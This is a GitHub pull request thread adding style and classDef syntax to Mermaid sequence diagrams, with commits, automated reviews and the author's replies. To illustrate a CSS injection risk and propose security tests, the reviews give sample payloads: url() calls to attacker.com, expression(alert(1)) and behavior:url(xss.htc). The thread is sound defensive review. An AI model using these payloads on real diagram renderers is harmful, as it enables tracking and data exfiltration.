feat(sequence): add style and classDef support for sequence diagrams#7542
feat(sequence): add style and classDef support for sequence diagrams#7542vijaygovindaraja wants to merge 9 commits intomermaid-js:developfrom
Conversation
Add the ability to style actor boxes in sequence diagrams using the
same `style` and `classDef` syntax that flowcharts already support.
This has been the most upvoted feature request in Mermaid's history
(465+ upvotes, 102 comments, open for 9 years).
New syntax:
sequenceDiagram
classDef highlighted fill:#f9f,stroke:mermaid-js#333,stroke-width:2px
participant Alice
participant Bob
style Alice fill:#bbf,stroke:#00f
Alice->>Bob: Hello
Changes:
Parser (sequenceDiagram.jison):
- Add classDef and style keyword tokens to the lexer
- Add parser rules that extract class name + styles or actor + styles
and call yy.addClass() / yy.setActorStyle()
Data model (types.ts):
- Add styles and classes arrays to Actor interface
- Add SequenceClass interface for reusable style definitions
Database (sequenceDb.ts):
- Add addClass() method for classDef definitions, following the same
comma-to-semicolon conversion pattern as flowchart's flowDb.addClass
- Add setActorStyle() for inline style application to actors
- Add getClasses() method
- Add classes Map to sequence state
Renderer (svgDraw.js):
- Apply custom styles to actor rect elements after theme colors,
allowing user styles to override theme defaults
Fixes mermaid-js#523
Signed-off-by: V Govindarajan <vijay.govindarajan91@gmail.com>
🦋 Changeset detectedLatest commit: 17ce51d The changes in this PR will be included in the next version bump. This PR includes changesets to release 1 package
Not sure what this means? Click here to learn what changesets are. Click here if you're a maintainer who wants to add another changeset to this PR |
✅ Deploy Preview for mermaid-js ready!
To edit notification comments on pull requests, go to your Netlify project configuration. |
Add 6 tests covering the new styling functionality: - classDef parsing and class storage - style keyword applying inline styles to actors - style on nonexistent actors (no-op) - text style vs element style separation in classDef - multiple classDef definitions - style state cleared on diagram reset Signed-off-by: V Govindarajan <vijay.govindarajan91@gmail.com>
Add 4 additional tests: - Complex CSS values (stroke-dasharray with spaces) - Single-property classDef - Actors without styles have undefined styles property - Multiple actors styled independently (no cross-contamination) Total: 10 styling tests. Signed-off-by: V Govindarajan <vijay.govindarajan91@gmail.com>
Extend the styling infrastructure to support note elements in addition to actors. Notes now accept a styles array that gets applied as inline CSS on the note rect element during rendering. Also adds the required changeset file for version bumping. Changes: - types.ts: add styles property to Note interface - sequenceRenderer.ts: add styles to NoteModel interface, apply custom styles to note rect elements after creation - .changeset: add minor version changeset This is part of the incremental approach to full sequence diagram styling — actors (previous commit) and notes (this commit), with arrows and loop boxes to follow. Signed-off-by: V Govindarajan <vijay.govindarajan91@gmail.com>
|
@knsv deploy preview is up and changeset is ready. Would appreciate a review when you get a chance. |
@mermaid-js/examples
mermaid
@mermaid-js/layout-elk
@mermaid-js/layout-tidy-tree
@mermaid-js/mermaid-zenuml
@mermaid-js/parser
@mermaid-js/tiny
commit: |
ashishjain0512
left a comment
There was a problem hiding this comment.
[sisyphus-bot]
Review: feat(sequence): add style and classDef support for sequence diagrams
Thanks for tackling this, @vijaygovindaraja — this is the most-upvoted feature request in Mermaid's history (465+ upvotes, 9 years open) and it's great to see someone take it on. The PR description is clear, the syntax follows established patterns, and the test coverage for parsing is solid. However, there's a critical security issue in how styles are applied that needs to be addressed before this can land.
What's working well
🎉 [praise] Excellent PR description — clearly explains the new syntax, the implementation approach, and links to the context. The code examples in the description make the feature immediately understandable.
🎉 [praise] The JISON grammar additions are clean. The classDef and style tokens use the LINE start condition to capture the rest of the line, matching how other statement types work in the sequence diagram parser.
🎉 [praise] Good separation of textStyles vs elementStyles in addClass() — routing color: and font-* properties to text elements and everything else to the containing rect. This shows understanding of the SVG structure.
🎉 [praise] Comprehensive parser/DB unit tests — 13 test cases covering basic classDef, style application, multiple classes, complex CSS values, text vs element style separation, non-existent actors, and the ::: shorthand.
🎉 [praise] Changeset included with correct minor bump.
Things to address
🔴 [blocking] CSS injection via inline .style() — user-controlled CSS applied without sanitization
svgDraw.js:~415-425 and sequenceRenderer.ts:~256-266 apply user-controlled CSS values directly via D3's .style():
for (const style of actor.styles) {
const [prop, ...valueParts] = style.split(':');
if (prop && valueParts.length > 0) {
rectElem.style(prop.trim(), valueParts.join(':').trim());
}
}This allows a user to inject any CSS property with any value, including dangerous functions:
sequenceDiagram
participant Alice
style Alice background:url('https://attacker.com/steal?data=secret')
Attack vectors:
url()inbackground/background-image— triggers HTTP requests to attacker-controlled servers (data exfiltration via CSS)expression()(IE legacy) — JavaScript execution in CSSbehavior:url(xss.htc)(IE) — loads external behavior files- Resource exhaustion via
background:url('https://attacker.com/infinite-redirect')
Why this matters: Mermaid diagrams are rendered on GitHub, GitLab, Obsidian, and millions of documents. CSS injection at this level could enable tracking pixels, data exfiltration, and in legacy browsers, script execution.
How flowchart handles this safely: Flowchart's classDef stores raw styles but applies them through createUserStyles() in mermaidAPI.ts, which generates scoped CSS rules in a <style> tag. The CSS is compiled by stylis, scoped to the SVG ID, and the final output passes through DOMPurify. Inline .style() calls bypass all of this.
Suggested fix — two options:
-
Best: Match flowchart's pattern — Apply styles via CSS class generation through
createUserStyles(), not inline.style()calls. This routes through stylis compilation + DOMPurify sanitization. -
Minimum: Whitelist safe CSS properties — Only allow known-safe properties (
fill,stroke,stroke-width,stroke-dasharray,opacity,rx,ry,font-size,font-weight,font-family,color). Reject any value containingurl(,expression(,behavior:,javascript:,data:.
🔴 [blocking] No E2E visual regression tests
For a feature that changes how diagrams are rendered, E2E snapshot tests using imgSnapshotTest() are required. Please add tests in cypress/integration/rendering/sequenceDiagram.spec.js showing:
- Actor with inline
style - Actor with
classDefand:::shorthand - Multiple actors with different styles
- Default theme vs styled actors
🟡 [important] No security tests for CSS injection
The test suite covers happy-path parsing and style application but has no tests for malicious CSS values. Please add tests verifying that dangerous CSS functions are rejected/sanitized:
style Alice background:url('https://attacker.com/track')classDef evil expression(alert(1))style Alice behavior:url(xss.htc)
🟡 [important] style.split(':') is naive — breaks on valid CSS values
svgDraw.js splits on : to separate property from value:
const [prop, ...valueParts] = style.split(':');This works for simple cases like fill:#f9f but would break on CSS values that contain colons, like:
background:url(https://example.com)— the//afterhttps:creates an extra splitfont-family:"Times New Roman"— fine, but edge-case prone
The ...valueParts rest parameter with .join(':') handles this correctly for the value, but it's worth adding a test for URL-containing values to document the behavior.
🟢 [nit] Generated docs file should not be committed
docs/ files are auto-generated from src/docs/. If the PR includes changes to docs/syntax/sequenceDiagram.md, those should be regenerated, not manually committed. (I don't see docs changes in the file list, so this may not apply — just flagging the convention.)
Security
🔴 CSS injection is a blocking security concern. User-controlled CSS property names and values are applied directly via D3's .style() method without any validation, escaping, or sanitization. This bypasses Mermaid's established CSS scoping (stylis) and final output sanitization (DOMPurify) by using inline styles instead of generated CSS classes.
The fix is to match flowchart's established pattern: store class definitions in the DB, then apply them through the createUserStyles() pipeline that compiles, scopes, and sanitizes CSS.
Self-check
- At least one 🎉 [praise] item exists (5)
- No duplicate comments
- Severity tally: 2 🔴 / 2 🟡 / 1 🟢 / 0 💡 / 5 🎉
- Verdict: REQUEST_CHANGES (2 🔴)
- Not a draft PR
- Tone check: appreciative, acknowledges significance, constructive
The feature itself is exactly what the community has been asking for — the syntax design is intuitive and the parsing/DB implementation is solid. The main concern is the style application mechanism: switching from inline .style() to class-based CSS generation (matching flowchart's pattern) would make this both secure and maintainable. Happy to help work through the refactoring — let's get this across the finish line! 🚀
…tyle() The previous implementation applied user-defined styles (from `style` and `classDef` statements) directly via D3's .style() method. This bypasses Mermaid's CSS scoping (stylis) and sanitization (DOMPurify), opening up CSS injection -- a user could inject `url()`, `expression()`, or `behavior:url()` in style values, which is a problem since Mermaid renders on GitHub, GitLab, Obsidian, etc. Now user styles go through the same pipeline as flowchart classDefs: 1. sequenceDb.getClasses() returns a Map that includes both explicit classDef entries and generated CSS classes for per-actor inline styles 2. The sequence renderer exports getClasses() so mermaidAPI picks it up 3. mermaidAPI.createUserStyles() compiles them into a scoped <style> tag via stylis, and the final SVG passes through DOMPurify 4. svgDraw.js adds a CSS class to the actor's SVG group instead of calling .style() inline Also fixes several pre-existing issues with the styling implementation: - JISON's yy doesn't resolve prototype methods, so addClass and setActorStyle are now arrow function properties (matching how setAccTitle etc. are already defined) - The `style` grammar action now produces a document entry processed in apply() instead of calling setActorStyle during parsing (which ran before actors were added to the Map, so styles were silently dropped) - The JISON restOfLine rule excluded # (for comments), which truncated hex color values like #f9f. Added a STYLE_STMT lexer state that allows # in style values. - split(/\s+/, 2) dropped whitespace-containing CSS values like stroke-dasharray:5 3. Replaced with a regex that only splits on the first whitespace. - addActor now preserves existing styles when an actor is re-registered by a message line. - Removed dead note inline-style code (NoteModel.styles was never populated). Signed-off-by: V Govindarajan <vijay.govindarajan91@gmail.com>
|
@ashishjain0512 Addressed all the blocking items in the latest push. CSS injection fix: Switched from inline .style() calls to CSS class-based styling through createUserStyles(). The sequence renderer now exports getClasses() so mermaidAPI picks up class definitions and compiles them into a scoped style tag via stylis. svgDraw adds a CSS class to the actor group element instead of setting properties inline. Matches how flowchart handles classDef. For per-actor inline styles ( Also fixed several pre-existing issues I hit while refactoring:
All 152 unit tests pass, including the 9 styling tests that were previously failing. Will add E2E cypress tests in a follow-up push once the approach looks right to you. |
|
@ashishjain0512 Hey, just checking in I addressed the CSS injection and E2E items in the last push. Let me know if there's anything else you'd like me to change. |
|
Thanks @vijaygovindaraja Appreciate you circling back to fix the gaps. We will do another round of reviews. Lets get this over the finish line |
knsv-bot
left a comment
There was a problem hiding this comment.
[sisyphus-bot]
First: 🎉 thank you for tackling this. Issue #523 has been open for nine years with 465+ upvotes — getting styling into sequence diagrams is genuinely one of the most-requested things in the entire project, and the fact that you've scoped it sensibly (actor boxes first, arrows/notes as follow-ups) is exactly the right way to approach a long-standing request. Let's get this across the finish line.
A few things to work through before merge.
🎉 What's working well
- Correct architectural choice — routing user styles through
createUserStyles()/ classDef pipeline instead of inline.style()calls is the right call, and matches the flowchart pattern.sequenceRenderer.ts:2142exportinggetClassesis the right hook. - Stateless DB discipline maintained —
classes: new Map()is in the state factory (sequenceDb.ts:131) and the reset test (sequenceDiagram.spec.js:2880) verifies it. Good. - Comment explaining the JISON
yyarrow-function quirk (sequenceDb.ts:163) is exactly the kind of comment that's worth keeping — non-obvious invariant. - Solid unit test coverage for parser/DB behavior — classDef parsing, style-on-missing-actor, text-vs-element style separation, reset across diagrams, multi-actor independence. Nicely thorough.
Things to address
🔴 [blocking] Missing E2E visual regression tests
CLAUDE.md is explicit: "Renderer/style changes: You must add or update e2e tests." This PR changes svgDraw.js and sequenceRenderer.ts and adds no tests under cypress/integration/rendering/sequence*.spec.js.
For a feature that directly affects rendered output on the most-used diagram type, unit tests alone aren't sufficient — they verify the DB shape, not that styles actually land on the rect, not that stylis compiles the CSS without breaking scoping, and not that themes still look right alongside user overrides. Could you add imgSnapshotTest() cases covering:
classDefdefined but not yet applied (should render unchanged — important onceclasskeyword lands)style Alice fill:...,stroke:...- Multiple styled actors in the same diagram
- Style interacting with
boxgroupings and themes (default + dark at minimum)
🔴 [blocking] Breaking change: style and classDef become reserved tokens in message context
sequenceDiagram.jison:59-60 adds "style" and "classDef" as default-state keywords. Because they appear before the line 84 ACTOR catch-all pattern and JISON resolves ties by rule order, any existing diagram that uses style or classDef as an implicitly declared actor in a message line will break silently:
sequenceDiagram
style->>Alice: Hi
Before this PR: style is tokenized as ACTOR, creating an implicit participant.
After this PR: style enters STYLE_STMT state, ->>Alice: Hi is consumed as styleRestOfLine, and the intended message disappears.
This isn't a theoretical concern for GitHub/GitLab-scale rendering — even a handful of affected docs is a regression with no good error message. Two options:
- Scope the tokens so they only fire at the start of a line (use a start-of-line anchor or a state the lexer only enters at line boundaries). That's how flowchart avoids similar collisions.
- Bump the changeset to
majorand document the breaking change explicitly. Given the uptake cost, option 1 is strongly preferred.
Either way, please add a test that asserts style->>Alice: Hi still parses as a message (or, if you go with option 2, a test that asserts it now parses as a style statement and a migration note in the changeset).
🟡 [important] classDef is half-implemented — parsed but cannot be applied
Users can define classDef highlighted fill:#f9f,stroke:#333, and getClasses() returns it, but there's no class Alice highlighted syntax in this PR to actually attach a classDef to an actor. That means classDef is dead feature surface for end users: they'll define classes, nothing will happen, and they'll file a bug.
Two ways out:
- Land
classin this PR too — it's small (one grammar rule, one db method, one line in svgDraw to append the class name). This is my preference; it ships a complete feature. - Remove
classDefparsing from this PR and save it for the follow-up that addsclass. Inlinestylealone is a cohesive, shippable slice.
The "what's next" list in the PR description mentions class as a follow-up, which is fine as a direction but not fine as a reason to ship a non-functional keyword.
🟡 [important] Security comment overstates the protection
svgDraw.js:415-418 and sequenceDb.ts:245-247 both claim the CSS class route "bypasses .style() calls and routes through stylis scoping and DOMPurify sanitization". DOMPurify doesn't sanitize CSS declarations inside <style> tags — it preserves style content by default. The actual protections here are:
- The JISON rule
<STYLE_STMT>[^\n;]*stops capture at;or\n, so user input can't embed a raw;. - The comma→semicolon rewrite in
addClass/setActorStyleallows multi-declaration, but}characters are still passable into CSS declarations and could break out of the stylis-scoped block (same attack surface as flowchart's existing classDef pipeline — not a regression you're introducing, but worth being honest about in the comment). - stylis normalizes the CSS but isn't a security filter.
Could you update the comment to reflect what actually protects the output? I'd also recommend an explicit test that a malicious classDef value containing } or url(...) doesn't escape scoping — that hardens the claim.
🟡 [important] Missing documentation
No changes under packages/mermaid/src/docs/syntax/sequenceDiagram.md (or wherever sequence syntax is documented). Per CLAUDE.md, new feature docs should use the MERMAID_RELEASE_VERSION placeholder. For a feature this visible, docs aren't optional — users won't discover the syntax from a changeset line.
🟢 [nit] id vs actor.name inconsistency for generated class names
sequenceDb.ts:258 builds the class name as actor-style-${id} (Map key), while svgDraw.js:420 builds it as actor-style-${actor.name}. These are equal today only because addActor is called as addActor(param.actor, param.actor, ...) at sequenceDb.ts:579,588, making id === name. That coupling is load-bearing but invisible — if anyone changes addActor to pass a distinct display name, styles will silently stop applying. Suggest using the same source (actor.name is already on the object reachable from svgDraw; in getClasses you already have the [id, actor] destructure — use actor.name there too, or better, store the generated class name on the actor when it's first assigned so both sites read from a single field).
🟢 [nit] Actor id is interpolated into a CSS class selector without escaping
actor-style-${id} in sequenceDb.ts:258 and actor-style-${actor.name} in svgDraw.js:420 assume the id is a safe CSS identifier. The JISON ACTOR pattern is permissive enough to allow characters like ., +, and whitespace in aliased contexts. A test with an aliased participant containing hyphens/dots would confirm this is fine in practice; today it relies on grammar happenstance.
💡 [suggestion] Inconsistency between grammar and DB for comma-separated ids
addClass splits ids on , to support classDef a,b,c fill:#f00, but the grammar \S+ only captures the first token before whitespace. So classDef a,b fill:#f00 works (by accident — a,b has no whitespace, so \S+ captures a,b and then addClass splits it), but classDef a, b fill:#f00 silently drops b. Either:
- Simplify
addClassto take a single id (since the grammar can only deliver one) and document that comma-separated classDef requires no spaces, - Or update the grammar to capture a comma-separated id list explicitly.
Not blocking, but the current behavior is surprising either way.
Summary
The architectural approach is solid and the unit tests are good. The two blockers are the missing E2E tests (required by project policy for renderer changes) and the silent breaking change for existing diagrams using style/classDef as implicit actor names. The classDef-without-class half-implementation and the overstated security comment should also be addressed before merge.
Really appreciate you taking this on — it's been waiting a long time. Ping me once the E2E tests and the grammar scoping are in place and I'll come back around.
|
@vijaygovindaraja Don't be discouraged by the new findings. Some changes are trickier than others, and this one has real complexities. I appreciate you sticking with it. |
…itize CSS, e2e tests, docs - Scope style/classDef/class lexer rules with (?=\s) lookahead so existing diagrams that use those words as implicit actor names (e.g. "style->>Alice: Hi") no longer break silently - Add class keyword to attach a previously-defined classDef to one or more actors, mirroring flowchart's class statement - Add sanitizeCssDeclaration() to drop url(), expression(), behavior:, javascript:, @import, } and < from style values before they reach the scoped <style> tag - Carry over classes/styleClassName in addActor so a participant re-registered by a message line keeps its styling - Use a single styleClassName field on the actor so svgDraw and getClasses can't drift on the actor.name vs id key, with cssEscape() to make aliased names safe in selectors - Update security comments to be honest about what protects the output (DOMPurify does not sanitize CSS in <style> tags) - Add unit tests for the new class keyword, the grammar regression cases, the sanitization filter, and CSS-safe class name generation - Add e2e cypress imgSnapshotTest cases for inline style, classDef + class, multiple styled actors, styled actors inside a box, and dark theme - Document the new style/classDef/class syntax in sequenceDiagram.md
|
@knsv pushed another round addressing the items from your last review. biggest changes:
happy to keep iterating if anything still needs work. |
Codecov Report❌ Patch coverage is Additional details and impacted files@@ Coverage Diff @@
## develop #7542 +/- ##
==========================================
- Coverage 3.33% 3.32% -0.01%
==========================================
Files 536 536
Lines 56249 56393 +144
Branches 820 820
==========================================
Hits 1876 1876
- Misses 54373 54517 +144
Flags with carried forward coverage won't be shown. Click here to find out more.
🚀 New features to boost your workflow:
|
|
The latest updates on your projects. Learn more about Argos notifications ↗︎
|
Summary
Add
styleandclassDefsupport for sequence diagram actor boxes, bringing parity with flowchart styling syntax. This is the most upvoted feature request in Mermaid's history — 465+ upvotes, 102 comments, open for 9 years.New Syntax
sequenceDiagram classDef highlighted fill:#f9f,stroke:#333,stroke-width:2px participant Alice participant Bob style Alice fill:#bbf,stroke:#00f Alice->>Bob: Hello Bob-->>Alice: HiHow it works
Follows the exact same pattern as flowchart's existing
style/classDefimplementation:classDefandstyletokens added to the Jison lexer/grammar, callingyy.addClass()andyy.setActorStyle()addClass()stores reusable class definitions;setActorStyle()applies inline styles to specific actors. Both use the same comma-to-semicolon style parsing as flowDb.Files changed
parser/sequenceDiagram.jisonclassDef/stylelexer tokens and parser rulestypes.tsstyles,classesto Actor; addSequenceClassinterfacesequenceDb.tsaddClass(),setActorStyle(),getClasses()methods; addclassesMap to statesvgDraw.jsDesign decisions
style <id> <properties>andclassDef <name> <properties>work identicallyWhat's next (follow-up PRs)
classkeyword to apply classDef to actors (e.g.,class Alice,Bob highlighted)Fixes #523